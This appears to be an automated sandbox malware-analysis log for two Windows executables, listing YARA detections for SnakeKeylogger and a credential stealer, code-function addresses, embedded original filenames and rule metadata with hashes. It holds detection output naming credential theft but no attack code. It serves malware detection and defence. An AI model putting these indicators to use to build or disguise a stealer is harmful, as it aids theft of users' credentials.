Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_013C4218	0_2_013C4218
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_013CE04C	0_2_013CE04C
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_013C7089	0_2_013C7089
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DD720	0_2_053DD720
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DE250	0_2_053DE250
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DEDC0	0_2_053DEDC0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DD711	0_2_053DD711
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DF76C	0_2_053DF76C
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DE1B2	0_2_053DE1B2
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DF1F9	0_2_053DF1F9
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DF208	0_2_053DF208
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DED71	0_2_053DED71
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DEDB1	0_2_053DEDB1
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053D3DA8	0_2_053D3DA8
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053D3D98	0_2_053D3D98
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B45B0	0_2_059B45B0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B45C0	0_2_059B45C0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3512	0_2_059B3512
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3520	0_2_059B3520
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3718	0_2_059B3718
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B370A	0_2_059B370A
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B5630	0_2_059B5630
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B5620	0_2_059B5620
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B4100	0_2_059B4100
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3088	0_2_059B3088
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B40A8	0_2_059B40A8
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B40F2	0_2_059B40F2
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B0007	0_2_059B0007
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B0040	0_2_059B0040
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B307A	0_2_059B307A
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BD3B0	0_2_059BD3B0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3298	0_2_059B3298
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B32A8	0_2_059B32A8
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B4D80	0_2_059B4D80
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B4D70	0_2_059B4D70
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3CB8	0_2_059B3CB8
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3CAA	0_2_059B3CAA
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B2CF0	0_2_059B2CF0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B5C10	0_2_059B5C10
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B5C00	0_2_059B5C00
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BEC38	0_2_059BEC38
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BEC28	0_2_059BEC28
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BCF78	0_2_059BCF78
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B1E38	0_2_059B1E38
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B1E48	0_2_059B1E48
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B29F8	0_2_059B29F8
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3950	0_2_059B3950
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B296A	0_2_059B296A
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B3960	0_2_059B3960
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BE800	0_2_059BE800
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BCB32	0_2_059BCB32
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059BCB40	0_2_059BCB40
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_0116C168	7_2_0116C168
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_0116A821	7_2_0116A821
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_0116CAB0	7_2_0116CAB0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_01164F08	7_2_01164F08
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_01167E68	7_2_01167E68
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_0116B9E0	7_2_0116B9E0
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_0116CAA2	7_2_0116CAA2
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_01162DD1	7_2_01162DD1
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_01167E59	7_2_01167E59
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 7_2_01164EF8	7_2_01164EF8
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_009F4218	9_2_009F4218
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_009FE04C	9_2_009FE04C
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_009F7089	9_2_009F7089
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_04A26EA8	9_2_04A26EA8
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_04A20120	9_2_04A20120
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_04A20130	9_2_04A20130
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_04A283D7	9_2_04A283D7
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_04A26E98	9_2_04A26E98
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E55630	9_2_06E55630
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53718	9_2_06E53718
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E50040	9_2_06E50040
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53CB8	9_2_06E53CB8
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E54D80	9_2_06E54D80
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E55620	9_2_06E55620
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5370B	9_2_06E5370B
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E545B0	9_2_06E545B0
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53520	9_2_06E53520
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53510	9_2_06E53510
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E532A8	9_2_06E532A8
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53298	9_2_06E53298
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5D3A2	9_2_06E5D3A2
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E540F3	9_2_06E540F3
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53088	9_2_06E53088
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5307B	9_2_06E5307B
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E50011	9_2_06E50011
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E54100	9_2_06E54100
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E51E48	9_2_06E51E48
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E51E38	9_2_06E51E38
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5CF78	9_2_06E5CF78
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E52CF0	9_2_06E52CF0
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53CAB	9_2_06E53CAB
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5EC28	9_2_06E5EC28
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5EC38	9_2_06E5EC38
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E55C00	9_2_06E55C00
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E55C10	9_2_06E55C10
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E54D70	9_2_06E54D70
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5CB32	9_2_06E5CB32
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E5E800	9_2_06E5E800
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E529EB	9_2_06E529EB
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E529F8	9_2_06E529F8
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53960	9_2_06E53960
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 9_2_06E53950	9_2_06E53950
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111C168	12_2_0111C168
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111A821	12_2_0111A821
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111CAB0	12_2_0111CAB0
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_01114F08	12_2_01114F08
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_01117E68	12_2_01117E68
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111C37B	12_2_0111C37B
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_011127B9	12_2_011127B9
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111B9E0	12_2_0111B9E0
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111CAAE	12_2_0111CAAE
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_01112DDB	12_2_01112DDB
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_01117E66	12_2_01117E66
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_01114EFB	12_2_01114EFB

Source: UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000002.1336294709.0000000009970000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000002.1333888240.00000000055C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000002.1329759693.000000000108E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000000.1299004426.0000000000952000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegATZ.exe@ vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000000.00000002.1331909369.0000000002F9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe, 00000007.00000002.3765576766.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs UOEAjWmusE.exe
Source: UOEAjWmusE.exe	Binary or memory string: OriginalFilenamegATZ.exe@ vs UOEAjWmusE.exe

Source: UOEAjWmusE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
